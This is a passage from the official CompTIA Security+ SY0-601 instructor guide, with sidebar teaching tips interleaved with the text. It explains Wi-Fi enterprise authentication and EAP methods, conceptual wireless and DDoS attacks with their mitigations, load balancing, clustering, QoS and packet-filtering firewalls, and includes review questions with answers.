LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 240 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

associates with the open hotspot and launches the browser, the client is redirected
to a captive portal or splash page. This will allow the client to authenticate to the
hotspot provider's network (over HTTPS, so the login is secure). The portal may also
be designed to enforce terms and conditions and/or take payment to access the
Wi-Fi service.
When using open wireless, users must ensure they send confidential web data only
over HTTPS connections and only use email, VoIP, IM, and file transfer services with
SSL/TLS enabled. Another option is for the user to join a Virtual Private Network
(VPN). The user would associate with the open hotspot then start the VPN connection.
This creates an encrypted "tunnel" between the user's computer and the VPN
server. This allows the user to browse the web or connect to email services without
anyone eavesdropping on the open Wi-Fi network being able to intercept those
communications. The VPN could be provided by the user's company or they could use
a third-party VPN service provider. Of course, if using a third party, the user needs to
be able to trust them implicitly. The VPN must use certificate-based tunneling to set up
the "inner" authentication method.
WPA3 can implement a mode called Wi-Fi Enhanced Open, which uses opportunistic
Show Slide(s) wireless encryption (OWE). OWE uses the Dragonfly handshake to agree ephemeral
session keys on joining the network. This means that one station cannot sniff the traffic
Enterprise/IEEE 802.1X from another station, because they are using different session keys. There is still no
Authentication authentication of the access point, however.

Teaching Enterprise/IEEE 802.1X Authentication

Tip
Note that this is The main problems with personal modes of authentication are that distribution of
the same general the key or passphrase cannot be secured properly, and users may choose unsecure
process that we phrases. Personal authentication also fails to provide accounting, as all users share the
looked at already for same key.
RADIUS and NAC. The
access point is the As an alternative to personal authentication, the enterprise authentication method
authenticator and the implements IEEE 802.1X to use an Extensible Authentication Protocol (EAP) mechanism.
wireless station is the
802.1X defines the use of EAP over Wireless (EAPoW) to allow an access point to
supplicant.
forward authentication data without allowing any other type of network access. It is
The main difference
is the use of the
configured by selecting WPA2-Enterprise or WPA3-Enterprise as the security method on
credential to generate the access point.
session encryption
With enterprise authentication, when a wireless station requests an association,
keys. Note that the
access point does NOT the WAP enables the channel for EAPoW traffic only. It passes the credentials of the
know the master key, supplicant to an AAA (RADIUS or TACACS+) server on the wired network for validation.
otherwise it would be When the supplicant has been authenticated, the AAA server transmits a master key
able to authenticate (MK) to the supplicant. The supplicant and authentication server then derive the same
stations without the pairwise master key (PMK) from the MK. The AAA server transmits the PMK to the the
RADIUS server.
access point. The wireless station and access point use the PMK to derive session keys,
It's not repeated here, using either the WPA2 4-way handshake or WPA3 SAE methods.
but remind students
that the WAP must be
configured with the IP See tldp.org/HOWTO/8021X-HOWTO/intro.html for more detailed information about the
address of the RADIUS
keys used.
server and the shared
secret.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 241

Using Cisco's Virtual Wireless LAN Controller to set security policies for a WLAN—this policy enforces
use of WPA2 and the use of 802.1X (Enterprise) authentication.
(Screenshot used with permission from Cisco.)

Extensible Authentication Protocol Show Slide(s)

The Extensible Authentication Protocol (EAP) defines a framework for negotiating Extensible
authentication mechanisms rather than the details of the mechanisms themselves. Authentication
Vendors can write extensions to the protocol to support third-party security devices. Protocol
EAP implementations can include smart cards, one-time passwords, biometric
identifiers, or simpler username and password combinations. Teaching
Tip
EAP-TLS is one of the strongest types of authentication and is very widely supported.
In the exam objectives,
An encrypted Transport Layer Security (TLS) tunnel is established between the the specific EAP
supplicant and authentication server using public key certificates on the authentication types are strongly
server and supplicant. As both supplicant and server are configured with certificates, associated with
this provides mutual authentication. The supplicant will typically provide a certificate wireless security,
using a smart card or a certificate could be installed on the client device, possibly in a so they are covered
here rather than with
Trusted Platform Module (TPM).
other authentication
technologies, but they
are applicable to any
sort of network access
device.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 242 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring Network Policy Server to authenticate wireless clients using 802.1X EAP-TLS.
(Screenshot used with permission from Microsoft.)

Show Slide(s) PEAP, EAP-TTLS, and EAP-FAST

PEAP, EAP-TTLS, and
Provisioning certificates to each wireless device is a considerable management
EAP-FAST challenge. Other types of EAP are designed to provide secure tunneling with server-
side certificates only.
Teaching
Tip Protected Extensible Authentication Protocol (PEAP)
Where EAP-TLS
In Protected Extensible Authentication Protocol (PEAP), as with EAP-TLS, an
authenticates via a
machine certificate encrypted tunnel is established between the supplicant and authentication server, but
or smart card, other PEAP only requires a server-side public key certificate. The supplicant does not require
types set up a secure a certificate. With the server authenticated to the supplicant, user authentication can
tunnel for user then take place through the secure tunnel with protection against sniffing, password-
authentication. This guessing/dictionary, and on-path attacks. The user authentication method (also
means that client
certificates do not
referred to as the "inner" method) can use either MS-CHAPv2 or EAP-GTC. The Generic
have to be deployed Token Card (GTC) method transfers a token for authentication against a network
and managed. directory or using a one-time password mechanism.

EAP with Tunneled TLS (EAP-TTLS)

EAP-Tunneled TLS (EAP-TTLS) is similar to PEAP. It uses a server-side certificate to
establish a protected tunnel through which the user's authentication credentials can be
transmitted to the authentication server. The main distinction from PEAP is that EAP-
TTLS can use any inner authentication protocol (PAP or CHAP, for instance), while PEAP
must use EAP-MSCHAP or EAP-GTC.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 243

EAP with Flexible Authentication via Secure Tunneling (EAP-FAST)

EAP with Flexible Authentication via Secure Tunneling (EAP-FAST) is similar to
PEAP, but instead of using a certificate to set up the tunnel, it uses a Protected Access
Credential (PAC), which is generated for each user from the authentication server's
master key. The problem with EAP-FAST is in distributing (provisioning) the PAC
securely to each user requiring access. The PAC can either be distributed via an out-
of-band method or via a server with a digital certificate (but in the latter case, EAP-
FAST does not offer much advantage over using PEAP). Alternatively, the PAC can be
delivered via anonymous Diffie-Hellman key exchange. The problem here is that there
is nothing to authenticate the access point to the user. A rogue access point could
obtain enough of the user credential to perform an ASLEAP password cracking attack
(techrepublic.com/article/ultimate-wireless-security-guide-a-primer-on-cisco-eap-fast-
authentication).

RADIUS Federation Show Slide(s)

Most implementations of EAP use a RADIUS server to validate the authentication RADIUS Federation
credentials for each user (supplicant). RADIUS federation means that multiple
organizations allow access to one another's users by joining their RADIUS servers into a
RADIUS hierarchy or mesh. For example, when Bob from widget.foo needs to log on to
grommet.foo's network, the RADIUS server at grommet.foo recognizes that Bob is not
a local user but has been granted access rights and routes the request to widget.foo's
RADIUS server.
One example of RADIUS federation is the eduroam network (eduroam.org), which
allows students of universities from several different countries to log on to the
networks of any of the participating institutions using the credentials stored by their
"home" university.

Rogue Access Points and Evil Twins Show Slide(s)

A rogue access point is one that has been installed on the network without Rogue Access Points
authorization, whether with malicious intent or not. It is vital to periodically survey and Evil Twins
the site to detect rogue WAPs. A malicious user can set up such an access point with
something as basic as a smartphone with tethering capabilities, and a non-malicious Teaching
user could enable such an access point by accident. If connected to a LAN without Tip
security, an unauthorized WAP creates a backdoor through which to attack the Stress the importance
network. A rogue WAP could also be used to capture user logon attempts, allow man- of disabling unused
in-the-middle attacks, and allow access to private information. connections and
services and scanning
A rogue WAP masquerading as a legitimate one is called an evil twin. An evil twin for rogue systems.
might just have a similar name (SSID) to the legitimate one, or the attacker might use
some DoS technique to overcome the legitimate WAP. This attack will not succeed
if authentication security is enabled on the WAP, unless the attacker also knows the
details of the authentication method. However, the evil twin might be able to harvest
authentication information from users entering their credentials by mistake.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 244 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Surveying Wi-Fi networks using Cambium Networks (formerly Xirrus) Wi-Fi Inspector—Note the presence
of print devices configured with open authentication (no security) and a smart TV appliance
(requiring authentication). (Screenshot used with permission from Xirrus.)

A rogue hardware WAP can be identified through physical inspections. There are also
various Wi-Fi analyzers and monitoring systems that can detect rogue WAPs, including
inSSIDer (metageek.com/products/inssider), Kismet (kismetwireless.net), and Cambium
Networks (formerly Xirrus) Wi-Fi Inspector (cambiumnetworks.com/products/software/
wifi-designer-and-wifi-inspector).

Show Slide(s) Disassociation and Replay Attacks

Disassociation and
The use of a rogue WAP may be coupled with a deauthentication attack. This sends a
Replay Attacks stream of spoofed frames to cause a client to deauthenticate from a WAP. The deauth
frames spoof the MAC address of the target station. This might allow the attacker to
Teaching perform a replay attack aimed at recovering the network key or interpose a rogue WAP.
Tip A similar attack hits the target with disassociation packets, rather than fully
While the syllabus deauthenticating the station. A disassociated station is not completely disconnected,
mentions the IV
but neither can it communicate on the network until it reassociates. Both attacks may
attack, as WEP is
completely obsolete, also be used to perform a denial of service attack against the wireless infrastructure.
focus on replay and The attacks can be mitigated if the wireless infrastructure supports Management
key recovery attacks Frame Protection (MFP/802.11w). Both the WAP and clients must be configured to
generally. support MFP.
Pre-shared key authentication is vulnerable to various types of replay attack that aim
to capture the hash of the passphrase when a wireless station associates with an
access point. Once the hash is captured it can be subjected to offline brute-force and
dictionary cracking. In WEP, these are referred to as initialization vector (IV) attacks,
because they exploit flaws in the mechanism that is supposed to ensure a unique
keystream, given the same key. A type of replay attack is used to make the access point
generate lots of packets, usually by deauthenticating a station, capturing its encrypted

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 245

ARP packet, and replaying this rapidly, causing the WAP to cycle through IV values
quickly, revealing the hash part.
WPA and WPA2 are not vulnerable to IV attacks, but a serious vulnerability was
discovered in 2017 (krackattacks.com). A KRACK attack uses a replay mechanism
that targets the 4-way handshake. KRACK is effective regardless of whether the
authentication mechanism is personal or enterprise. It is important to ensure both
clients and access points are fully patched against such attacks.

Jamming Attacks Show Slide(s)

A wireless network can be disrupted by interference from other radio sources. These Jamming Attacks
are often unintentional, but it is also possible for an attacker to purposefully jam
an access point. This might be done simply to disrupt services or to position an evil
twin on the network with the hope of stealing data. A Wi-Fi jamming attack can be
performed by setting up a WAP with a stronger signal. Wi-Fi jamming devices are
also widely available, though they are often illegal to use and sometimes to sell. Such
devices can be very small, but the attacker still needs to gain fairly close physical
proximity to the wireless network.
The only ways to defeat a jamming attack are either to locate the offending radio
source and disable it, or to boost the signal from the legitimate equipment. WAPs
for home and small business use are not often configurable, but the more advanced
wireless access points, such as Cisco's Aironet series, support configurable power
level controls. The source of interference can be detected using a spectrum analyzer.
Unlike a Wi-Fi analyzer, a spectrum analyzer must use a special radio receiver (Wi-
Fi adapters filter out anything that isn't a Wi-Fi signal). They are usually supplied as
handheld units with a directional antenna, so that the exact location of the interference
can be pinpointed.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 246 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Wireless Infrastructure
Answer the following questions:

1. True or false? Band selection has a critical impact on all aspects of the
security of a wireless network?

False—band selection can affect availability and performance but does not have an
impact in terms of either confidentiality or integrity.

2. The network manager is recommending the use of "thin" access points to

implement the wireless network. What additional appliance or software is
required and what security advantages should this have?

You need a wireless controller to configure and manage the access points. This makes
each access point more tamper-proof as there is no local administration interface.
Configuration errors should also be easier to identify.

3. What is a pre-shared key?

This is a type of group authentication used when the infrastructure for authenticating
securely (via RADIUS, for instance) is not available. The system depends on the strength
of the passphrase used for the key.

4. Is WPS a suitable authentication method for enterprise networks?

No, an enterprise network will use RADIUS authentication. WPS uses PSK and there are
weaknesses in the protocol.

5. You want to deploy a wireless network where only clients with domain-
issued digital certificates can join the network. What type of authentication
mechanism is suitable?

EAP-TLS is the best choice because it requires that both server and client be installed
with valid certificates.

6. John is given a laptop for official use and is on a business trip. When he
arrives at his hotel, he turns on his laptop and finds a wireless access
point with the name of the hotel, which he connects to for sending official
communications. He may become a victim of which wireless threat?

Evil twin.

Lesson 9: Implementing Secure Network Designs | Topic 9C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 247

Topic 9D
Implement Load Balancers

EXAM OBJECTIVES COVERED Teaching

1.4 Given a scenario, analyze potential indicators associated with network attacks Tip
3.3 Given a scenario, implement secure network designs As with the wireless
topic, we take the
opportunity to look at
A denial of service (DoS) attack can be extremely destructive and very difficult to mitigate. both a class of attack
(DDoS) and a principal
As a network security professional, it is vital for you to be able to compare and contrast control to mitigate it
DoS and distributed DoS (DDoS) methods and to be able to recommend and configure (load balancing).
load balancing technologies that can make networks more resilient to these attacks.
Show Slide(s)
Distributed Denial of Service Attacks
Distributed Denial of
Most denial of service (DoS) attacks against websites and gateways are Service Attacks
distributed DoS (DDoS). This means that the attack is launched from multiple hosts
simultaneously. Typically, a threat actor will compromise machines to use as handlers Teaching
in a command and control network. The handlers are used to compromise hundreds or Tip
thousands or millions of hosts with DoS tools (bots) forming a botnet. Point out that
botnets can perform
Some types of DDoS attacks simply aim to consume network bandwidth, denying it almost any function.
to legitimate hosts, by using overwhelming numbers of bots. Others cause resource Spam, phishing,
exhaustion on the hosts' processing requests, consuming CPU cycles and memory. and cryptojacking
This delays processing of legitimate traffic and could potentially crash the host system are probably more
typical than DDoS.
completely. For example, a SYN flood attack works by withholding the client's ACK Stress that malware
packet during TCP's three-way handshake. Typically the client's IP address is spoofed, creation has become
meaning that an invalid or random IP is entered so the server's SYN/ACK packet is professionalized
misdirected. A server, router, or firewall can maintain a queue of pending connections, and now forms a
recorded in its state table. When it does not receive an ACK packet from the client, it substantial shadow
economy. Refer
resends the SYN/ACK packet a set number of times before timing out the connection.
students to the
The problem is that a server may only be able to manage a limited number of pending following analysis of
connections, which the DoS attack quickly fills up. This means that the server is unable the Mirai botnet as
to respond to genuine traffic. an example (imperva.
com/blog/malware-
analysis-mirai-ddos-
Amplification, Application, and OT Attacks botnet).

In a distributed reflection DoS (DRDoS) or amplification SYN flood attack, the threat Show Slide(s)
actor spoofs the victim's IP address and attempts to open connections with multiple
servers. Those servers direct their SYN/ACK responses to the victim server. This rapidly
Amplification,
consumes the victim's available bandwidth. Application, and OT
Attacks
Application Attacks
Teaching
Where a network attack uses low-level techniques, such as SYN or SYN/ACK flooding,
Tip
an application attack targets vulnerabilities in the headers and payloads of specific
We'll be revisiting
application protocols. For example, one type of amplification attack targets DNS
OT when covering
services with bogus queries. One of the advantages of this technique is that while embedded systems in
the request is small, the response to a DNS query can be made to include a lot of Lesson 12.
information, so this is a very effective way of overwhelming the bandwidth of the victim
network with much more limited resources on the attacker's botnet.

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 248 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

The Network Time Protocol (NTP) can be abused in a similar way. NTP helps servers
on a network and on the Internet to keep the correct time. It is vital for many protocols
and security mechanisms that servers and clients be synchronized. One NTP query
(monlist) can be used to generate a response containing a list of the last 600 machines
that the NTP server has contacted. As with the DNS amplification attack, this allows a
short request to direct a long response at the victim network.

Operational Technology (OT) Attacks

An operational technology (OT) network is established between embedded systems
devices and their controllers. The term "operational" is used because these system
monitor and control physical electromechanical components, such as valves, motors,
electrical switches, gauges, and sensors. DDoS attacks against the controllers in such
networks can use the same techniques as against computer networks. Also, because
of the limited processing ability of some controller types, older DDoS techniques, such
as Smurf (cloudflare.com/learning/ddos/smurf-ddos-attack) or Ping of Death (imperva.
com/learn/application-security/ping-of-death), can continue to be effective against
embedded systems. The limited resources of these devices mean that DDoS can
rapidly overwhelm available memory or CPU time.

As well as being the target of an attack, embedded systems might be used as bots. Any type
of Internet-enabled device is vulnerable to compromise. This includes web-enabled cameras,
SOHO routers, and smart TVs and other appliances. This is referred to as an Internet of
Things (IoT) botnet.

Show Slide(s) Distributed Denial of Service Attack Mitigation

DDoS attacks can be diagnosed by traffic spikes that have no legitimate explanation,
Distributed Denial
but can usually only be counteracted by providing high availability services, such as
of Service Attack
Mitigation load balancing and cluster services. In some cases, a stateful firewall can detect a DDoS
attack and automatically block the source. However, for many of the techniques used
in DDoS attacks, the source addresses will be randomly spoofed or launched by bots,
making it difficult to detect the source of the attack.

Dropping traffic from blacklisted IP ranges using Security Onion IDS.

(Screenshot used with permission from Security Onion.)

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 249

When a network is faced with a DDoS or similar flooding attack, an ISP can use either an
access control list (ACL) or a blackhole to drop packets for the affected IP address(es). A
blackhole is an area of the network that cannot reach any other part of the network. The
blackhole option is preferred, as evaluating each packet in a multi-gigabit stream against
ACLs overwhelms the processing resources available. A standard method of doing this
with border gateway protocol (BGP) routing is called a remotely triggered blackhole
(RTBH) (cisco.com/c/dam/en_us/about/security/intelligence/blackhole.pdf). The blackhole
also makes the attack less damaging to the ISP's other customers. With both approaches,
legitimate traffic is discarded along with the DDoS packets.
Another option is to use sinkhole routing so that the traffic flooding a particular IP address
is routed to a different network where it can be analyzed. Potentially some legitimate traffic
could be allowed through, but the real advantage is to identify the source of the attack
and devise rules to filter it. The target can then use low TTL DNS records to change the IP
address advertised for the service and try to allow legitimate traffic past the flood.

There are cloud DDoS mitigation services that can act as sinkhole network providers and try
to "scrub" flooded traffic.

Load Balancing Show Slide(s)

A load balancer distributes client requests across available server nodes in a farm or Load Balancing
pool. This is used to provision services that can scale from light to heavy loads, and to
provide mitigation against DDoS attacks. A load balancer also provides fault tolerance. If
there are multiple servers available in a farm, all addressed by a single name/IP address
via a load balancer, then if a single server fails, client requests can be routed to another
server in the farm. You can use a load balancer in any situation where you have multiple
servers providing the same function. Examples include web servers, front-end email
servers, and web conferencing, A/V conferencing, or streaming media servers.
There are two main types of load balancers:
• Layer 4 load balancer—basic load balancers make forwarding decisions on IP
address and TCP/UDP port values, working at the transport layer of the OSI model.

• Layer 7 load balancer (content switch)—as web applications have become more
complex, modern load balancers need to be able to make forwarding decisions
based on application-level data, such as a request for a particular URL or data types
like video or audio streaming. This requires more complex logic, but the processing
power of modern appliances is sufficient to deal with this.

Topology of basic load balancing architecture. (Images © 123RF.com.)

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 250 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Scheduling
The scheduling algorithm is the code and metrics that determine which node is
selected for processing each incoming request. The simplest type of scheduling is
called round robin; this just means picking the next node. Other methods include
picking the node with the fewest connections or the best response time. Each method
can also be weighted, using administrator set preferences or dynamic load information
or both.
The load balancer must also use some type of heartbeat or health check probe to verify
whether each node is available and under load or not. Layer 4 load balancers can only
make basic connectivity tests while layer 7 appliances can test the application's state,
as opposed to only verifying host availability.

Source IP Affinity and Session Persistence

When a client device has established a session with a particular node in the server
farm, it may be necessary to continue to use that connection for the duration of the
session. Source IP or session affinity is a layer 4 approach to handling user sessions. It
means that when a client establishes a session, it becomes stuck to the node that first
accepted the request.
An application-layer load balancer can use persistence to keep a client connected to a
session. Persistence typically works by setting a cookie, either on the node or injected
by the load balancer. This can be more reliable than source IP affinity, but requires the
browser to accept the cookie.

Show Slide(s) Clustering

Clustering
Where load balancing distributes traffic between independent processing nodes,
clustering allows multiple redundant processing nodes that share data with one
Teaching another to accept connections. This provides redundancy. If one of the nodes in the
Tip cluster stops working, connections can failover to a working node. To clients, the
Where a load balancer
cluster appears to be a single server.
distributes client
requests between Virtual IP
available nodes,
clustering enables For example, you might want to provision two load balancer appliances so that if
load balancing "within" one fails, the other can still handle client connections. Unlike load balancing with a
a group of servers. single appliance, the public IP used to access the service is shared between the two
instances in the cluster. This is referred to as a virtual IP or shared or floating address.
The instances are configured with a private connection, on which each is identified by
its "real" IP address. This connection runs some type of redundancy protocol, such as
Common Address Redundancy Protocol (CARP), that enables the active node to "own"
the virtual IP and respond to connections. The redundancy protocol also implements
a heartbeat mechanism to allow failover to the passive node if the active one should
suffer a fault.

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 251

Topology of clustered load balancing architecture. (Images © 123RF.com.)

Active/Passive (A/P) and Active/Active (A/A) Clustering

In the previous example, if one node is active, the other is passive. This is referred to
as active/passive clustering. The major advantage of active/passive configurations is
that performance is not adversely affected during failover. However, the hardware and
operating system costs are higher because of the unused capacity.
An active/active cluster means that both nodes are processing connections
concurrently. This allows the administrator to use the maximum capacity from
the available hardware while all nodes are functional. In the event of a failover
the workload of the failed node is immediately and transparently shifted onto the
remaining node. At this time, the workload on the remaining nodes is higher and
performance is degraded.

In a standard active/passive configuration, each active node must be matched by a passive

node. There are N+1 and N+M configurations that provision fewer passive nodes than active
nodes, to reduce costs.

Application Clustering
Clustering is also very commonly used to provision fault tolerant application services.
If an application server suffers a fault in the middle of a session, the session state data
will be lost. Application clustering allows servers in the cluster to communicate session
information to one another. For example, if a user logs in on one instance, the next
session can start on another instance, and the new server can access the cookies or
other information used to establish the login.

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 252 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Quality of Service (QoS)

Quality of Service
Most network appliances process packets on a best effort and first in, first out (FIFO)
(QoS) basis. Quality of Service (QoS) is a framework for prioritizing traffic based on its
characteristics. It is primarily used to support voice and video applications that require
Teaching a minimum level of bandwidth and are sensitive to latency and jitter. Latency is the
Tip time it takes for a transmission to reach the recipient, measured in milliseconds (ms).
You might also want to Jitter is defined as being a variation in the delay, or an inconsistent rate of packet
mention multiprotocol delivery. FIFO-based delivery makes it more likely that other applications sharing the
label switching (MPLS) same network will cause loss of bandwidth and increase latency and jitter for a real-
as a common means time service.
of implementing QoS.
This is in the syllabus Implementing QoS is a complex project, as there are many different ways to do it, and
acronym list, but is many different protocols and appliances involved. In overview, a QoS implementation
only covered as a could work as follows:
glossary term in this
course. 1. The organization performs application discovery to identify bandwidth, latency,
and jitter thresholds of the protocols in use and determine their relative priority.
The applications are then mapped to standard class of service (CoS) codes at
layer 2 and layer 3. These codes are configured across the range of hosts and
intermediate systems that handle QoS traffic.

2. A QoS-compatible endpoint device or application uses the DiffServ field in the

IP header (layer 3) and adds an 802.1p field to the Ethernet header (layer 2) to
indicate that the packet should be treated as priority (traffic marking). It transmits
the frame to the switch.

3. If the switch supports QoS, it uses the 802.1p header to prioritize the frame. Note
that it can only do this by holding a queue of outgoing traffic and delaying non-
priority frames. If the queue is full, a traffic policing policy must state whether
non-priority frames should be dropped, or whether the queue should be cleared
at the expense of reducing QoS.

4. A similar process occurs at routers and load balancers on the network edge,
though they can inspect the DiffServ IP packet header, rather than having to rely
on the more limited 802.1p header. Note that prioritization always takes place on
the outbound interface, with low priority traffic being held in a queue.

There are many variations on this process. Modern layer 3 switches can inspect DSCP
values, rather than relying on 802.1p tagging, for instance. QoS may need to take place over
wireless networks, which use a different tagging mechanism. There is also a wholly different
approach to QoS called IntServ. This uses the Resource Reservation Protocol (RSVP) to
negotiate a link with the performance characteristics required by the application or policy.

QoS marking introduces the potential for DoS attacks. If a threat actor can craft
packets that are treated as high priority and send them at a high rate, the network
can be overwhelmed. Part of QoS involves identifying trust boundaries to establish a
legitimate authority for marking traffic. You should also ensure that there is always
sufficient bandwidth for security-critical monitoring data and network management/
configuration traffic.

For more information, consider these case studies and design overviews from Microsoft
(docs.microsoft.com/en-us/skypeforbusiness/optimizing-your-network/expressroute-and-
qos-in-skype-for-business-online) and Cisco (cisco.com/c/en/us/td/docs/solutions/Enterprise/
WAN_and_MAN/QoS_SRND/QoS-SRND-Book/QoSIntro.html).

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 253

Review Activity:
Load Balancers
Answer the following questions:

1. Why are many network DoS attacks distributed?

Most attacks depend on overwhelming the victim. This typically requires a large
number of hosts, or bots.

2. What is an amplification attack?

Where the attacker spoofs the victim's IP in requests to several reflecting servers (often
DNS or NTP servers). The attacker crafts the request so that the reflecting servers
respond to the victim's IP with a large message, overwhelming the victim's bandwidth.

3. What is meant by scheduling in the context of load balancing?

The algorithm and metrics that determine which node a load balancer picks to handle a
request.

4. What mechanism provides the most reliable means of associating a client

with a particular server node when using load balancing?

Persistence is a layer 7 mechanism that works by injecting a session cookie. This is

generally more reliable than the layer 4 source IP affinity mechanism.

5. True or false? A virtual IP is a means by which two appliances can be put in a

fault tolerant configuration to respond to requests for the same IP address?

True.

6. What field provides traffic marking for a QoS system at layer 3?

Layer 3 refers to the DiffServ field in the IP header.

Lesson 9: Implementing Secure Network Designs | Topic 9D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 254 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 9
Summary
Teaching You should be able to use segmentation-based network designs and provision
Tip switching, routing, Wi-Fi, and load balancing technologies for secure network access.
Check that students
are confident about
the content that has
Guidelines for Implementing Secure Network Designs
been covered. If there
Follow these guidelines when you implement designs for new or extended networks:
is time, re-visit any
content examples that • Identify business workflows and the servers, clients, and protocols that support
they have questions them. Design segmented network zones or blocks that support the security
about. If you have
used all the available
requirements, using VLANs, subnets, and firewall policies to implement the design.
time for this lesson
block, note the issues,
• Accommodate special requirements within the design:
and schedule time for
a review later in the
• Demilitarized zone topologies for Internet-facing hosts.
course.
• East-west and zero trust designs for data centers.

• Secure implementation of IPv6 addressing.

• Deploy switching and routing appliances and protocols to support each block,
accounting for loop protection, port security, and route security.

• Select an appropriate authentication mechanism for Wi-Fi networks:

• Enterprise authentication with an EAP method (EAP-TLS, EAP-TTLS, or PEAP)

provides the best security.

• Pre-shared key or personal authentication should be configured with a 14+

character passphrase, and use WPA3 if there are no compatibility issues.

• Open authentication can be used for guest networks, so long as the risks are
understood.

• Evaluate risks from denial of service and design load balanced and clustered
services to provision high availability and fault tolerance.

• Evaluate requirements for quality of service mechanisms, such as supporting voice

over IP and conferencing.

Lesson 9: Implementing Secure Network Designs

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 10
Implementing Network
Security Appliances

LESSON INTRODUCTION Teaching

Tip
In addition to the secure switching and routing appliances and protocols used to Continuing
implement network connectivity, the network infrastructure design must also include the protecting
security appliances to ensure confidentiality, integrity, and availability of services and infrastructure theme,
data. You should be able to distinguish the features of security and monitoring devices this lesson looks at the
and software and deploy these devices to appropriate locations in the network. security appliances
and software used to
implement firewalls,
Lesson Objectives proxy services,
intrusion detection/
In this lesson, you will: prevention, and
logging/alerting.
• Implement firewalls and proxy servers.

• Implement network security monitoring.

• Summarize the use of SIEM.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 256 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 10A
Implement Firewalls and Proxy Servers

Teaching EXAM OBJECTIVES COVERED

Tip 3.3 Given a scenario, implement secure network designs
Emphasize the
different firewall and
content filter types
The firewall is one of the longest serving types of network security control, developed
and the ways they can
be implemented on to segregate some of the first Internet networks in the 1980s. Since those early
hosts and appliances days, firewall types and functionality have both broadened and deepened. As a
for placement at network security professional, a very large part of your workday will be taken up with
different locations in implementing, configuring, and troubleshooting firewalls and proxies.
the network.

Show Slide(s) Packet Filtering Firewalls

Packet Filtering
Packet filtering describes the earliest type of network firewall. All firewalls can still
Firewalls perform this basic function.

Teaching Access Control Lists (ACLs)

Tip
Students need to
A packet filtering firewall is configured by specifying a group of rules, called an access
be able to interpret control list (ACL). Each rule defines a specific type of data packet and the appropriate
firewall ACLs. action to take when a packet matches the rule. An action can be either to deny (block
or drop the packet, and optionally log an event) or to accept (let the packet pass
through the firewall). A packet filtering firewall can inspect the headers of IP packets.
This means that rules can be based on the information found in those headers:
• IP filtering—accepting or denying traffic on the basis of its source and/or destination
IP address.

• Protocol ID/type (TCP, UDP, ICMP, routing protocols, and so on).

• Port filtering/security—accepting or denying a packet on the basis of source and

destination port numbers (TCP or UDP application type).

There may be additional functionality in some products, such as the ability to block
some types of ICMP (ping) traffic but not others, or the ability to filter by hardware
(MAC) address. Another distinction that can be made is whether the firewall can control
only inbound traffic or both inbound and outbound traffic. This is also often referred to
as ingress and egress traffic or filtering. Controlling outbound traffic is useful because it
can block applications that have not been authorized to run on the network and defeat
malware, such as backdoors. Ingress and egress traffic is filtered using separate ACLs.

Stateless Operation
A basic packet filtering firewall is stateless. This means that it does not preserve
information about network sessions. Each packet is analyzed independently, with
no record of previously processed packets. This type of filtering requires the least
processing effort, but it can be vulnerable to attacks that are spread over a sequence
of packets. A stateless firewall can also introduce problems in traffic flow, especially
when some sort of load balancing is being used or when clients or servers need to use
dynamically assigned ports.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 257

Stateful Inspection Firewalls Show Slide(s)

A stateful inspection firewall addresses these problems by tracking information about Stateful Inspection
the session established between two hosts, or blocking malicious attempts to start a Firewalls
bogus session. The vast majority of firewalls now incorporate some level of stateful
